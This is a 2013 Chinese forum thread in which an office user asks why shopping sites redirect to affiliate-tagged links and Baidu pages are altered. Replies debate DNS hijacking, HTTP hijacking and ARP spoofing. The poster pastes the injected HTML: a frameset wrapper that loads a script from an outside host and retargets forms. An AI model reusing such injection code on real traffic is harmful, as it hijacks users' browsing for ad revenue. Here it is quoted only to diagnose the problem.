V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
iamdbc
V2EX  ›  问与答

请问输入jd.com域名后面多出来推广地址,是http劫持吗?

  •  
  •   iamdbc · 2013-10-16 14:33:02 +08:00 · 8353 次点击
    这是一个创建于 4041 天前的主题,其中的信息可能已经有所发展或是发生改变。
    我们公司电脑输入jd.com就会变成http://www.jd.com/?utm_source=www.hdtvln.com&utm_medium=tuiguang&utm_campaign=t_20_66794366716&utm_term=1bed825e9dcb4288b3f19e925ef296ec

    在淘宝里搜索会增加s8.taobao.com/xxx这样的淘宝客

    百度搜索,无论什么关键词,都会多出来某个固定的电影网站的网址,页面代码变成这样
    <html><head><title></title></head>
    <script type="text/javascript" src="http://r.5coolzone.com/zadui.php"></script>
    <script type="text/javascript">
    var ff=0;
    function F(X)
    {
    if(ff==1){return ;}
    ff=1;
    try{
    w=X.contentWindow.document;document.title=w.title;
    e=w.getElementsByTagName('form');
    for(i=0; i<e.length; i++ ){e[i].target = "_top";}
    }catch(e){};
    SomeJavaCode(X,w.title);
    }
    </script>
    <frameset rows="*">
    <frame src="http://www.baidu.com/s?wd=a&rsv_bp=0&ch=&tn=baidu&bar=&rsv_spt=3&ie=utf-8&rsv_sug3=1&rsv_sug=0&rsv_sug1=1&rsv_sug4=170&inputT=327&tid=" frameborder="0" onfocus="F(this)" onload="F(this)"/>
    </frameset>
    </html>

    请问这是怎么回事?是http劫持吗?打电话给联通,人家回复说不是他们的事,去楼下用了别的公司的电脑,也没事。我们这栋楼都是用的联通的宽带。
    26 条回复    1970-01-01 08:00:00 +08:00
    ine181x
        1
    ine181x  
       2013-10-16 15:38:51 +08:00
    也有可能是病毒或恶意软件,或者 DNS 的配置也是有可能影响。总不会你们公司没一台电脑都是这样吧。
    iamdbc
        2
    iamdbc  
    OP
       2013-10-16 15:53:37 +08:00
    @ine181x 公司就几个人,每个人电脑都这样。dns我一直设置的是google的。应该没病毒或者恶意软件。本地路由也没有特别的设置
    subpo
        3
    subpo  
       2013-10-16 15:59:48 +08:00
    换浏览器试试,也有可能是chrome插件导致的
    tarsier
        4
    tarsier  
       2013-10-16 16:03:18 +08:00
    公司系统用的是正版还是xx花园? 上网浏览器是?
    iamdbc
        5
    iamdbc  
    OP
       2013-10-16 16:04:15 +08:00
    @subpo firefox/ie/搜狗/360都试了...刚才我把手机做热点,停了公司网络,输入jd.com就没事了。不是我电脑的事,还是和接入网络有关吧
    iamdbc
        6
    iamdbc  
    OP
       2013-10-16 16:04:44 +08:00
    @tarsier win7纯净的系统。所有浏览器都这个问题
    cnxh
        7
    cnxh  
       2013-10-16 16:11:14 +08:00
    dns劫持的节奏? 8.8.8.8能ping通吗
    iamdbc
        8
    iamdbc  
    OP
       2013-10-16 16:15:33 +08:00
    @cnxh 可以ping通。如果是dns劫持,楼下和我们使用一家运营商的怎么没问题呢?而且我ping jd.com指向的也是jd的ip地址。刚才我把hosts的jd.com设置成jd的ip,输入jd.com还是跳转地址,但是打不开页面,把hosts文件里的jd.com这行删除就又能打开了,但还是跳转后的地址
    cnxh
        9
    cnxh  
       2013-10-16 16:46:31 +08:00
    iamdbc
        10
    iamdbc  
    OP
       2013-10-16 17:01:45 +08:00
    @cnxh 这都搜到了,厉害啊。确实是一样的问题。那就确定是dns劫持了吧?我就是有点疑惑,楼下的没怎么没事呢。上午投诉了联通,人家直接说不是他们的事,我等会投诉工信部。本来百度那事对我影响不大,我也不用,现在变本加厉了,所有的电商网站都被加推广地址了。忍无可忍了
    wwqgtxx
        11
    wwqgtxx  
       2013-10-16 20:28:56 +08:00 via Android
    不排除你公司内网有电脑中毒,进行了ARP欺骗攻击
    还有,检查一下路由器
    至少我认为顶多是http劫持,不可能是dns劫持
    shpasspass
        12
    shpasspass  
       2013-10-16 20:37:40 +08:00
    应该是病毒。。。因为楼下没事。
    lusin
        13
    lusin  
       2013-10-16 20:42:34 +08:00
    应该是DNS劫持,我也是这样,改成114.114.114.114后恢复正常
    iamdbc
        14
    iamdbc  
    OP
       2013-10-16 21:39:03 +08:00
    @wwqgtxx 这个arp攻击应该怎么处理呢?记得以前在学校开360会有提示有arp攻击,但是公司电脑上的360没有提示。
    iamdbc
        15
    iamdbc  
    OP
       2013-10-16 21:39:52 +08:00
    @shpasspass 公司电脑都查毒了。要不然明天再试一下吧
    @lusin 我改成114这个dns也不行的
    wwqgtxx
        16
    wwqgtxx  
       2013-10-17 06:06:57 +08:00 via Android
    @iamdbc 你试试用一台纯净的电脑直接插在公司的入口网线上,如果正常,说明局域网有问题,如果不正常,举报联通去
    iamdbc
        17
    iamdbc  
    OP
       2013-10-17 08:38:29 +08:00
    @wwqgtxx 我用手机连电脑,也会跳转的。昨天投诉工信部了,早上来看域名和百度看起来都正常了
    vivianalive
        18
    vivianalive  
       2013-10-17 09:37:07 +08:00
    联通电信经常做这种事情...投诉一下会收敛一点.
    cchange
        19
    cchange  
       2013-10-17 10:01:07 +08:00 via iPhone
    类似问题也遇到过,关注此帖
    Feobe
        20
    Feobe  
       2013-10-17 11:03:32 +08:00
    我也遇到过,成都电信
    iamdbc
        21
    iamdbc  
    OP
       2013-10-17 23:37:24 +08:00
    @vivianalive
    @cchange
    @Feobe
    昨天下班前上工信部网站申诉了,今天看页面是正常,就是不知道能正常几天,不过看起来确实是运营商的问题了
    beaaar
        22
    beaaar  
       2013-10-18 16:18:24 +08:00
    难道还真是运营商问题?投诉完立马见效。
    moxuanyuan
        23
    moxuanyuan  
       2013-10-18 23:22:27 +08:00
    最近也遇到了,京东、苏宁、天猫都会跳转成推广链接..
    moxuanyuan
        24
    moxuanyuan  
       2013-10-18 23:30:42 +08:00
    @subpo 换成了IE,也出现这种情况,看来可能是运营商问题!
    moxuanyuan
        25
    moxuanyuan  
       2013-10-18 23:34:00 +08:00
    @lusin 本机中DNS设了路由IP,路由中设了114DNS,估计跟114无关,我电商网站全部跳转成推广链接,换浏览器也是一样,电脑估计没有中毒,起码暂时信得过金山毒霸和卫士……
    iamdbc
        26
    iamdbc  
    OP
       2013-10-19 09:05:18 +08:00
    @moxuanyuan 你也投诉运营商,不解决再投诉工信部,很有效率的,24小时内解决
    @beaaar 你不要来凑热闹-________________-
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2500 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 23ms · UTC 01:27 · PVG 09:27 · LAX 17:27 · JFK 20:27
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.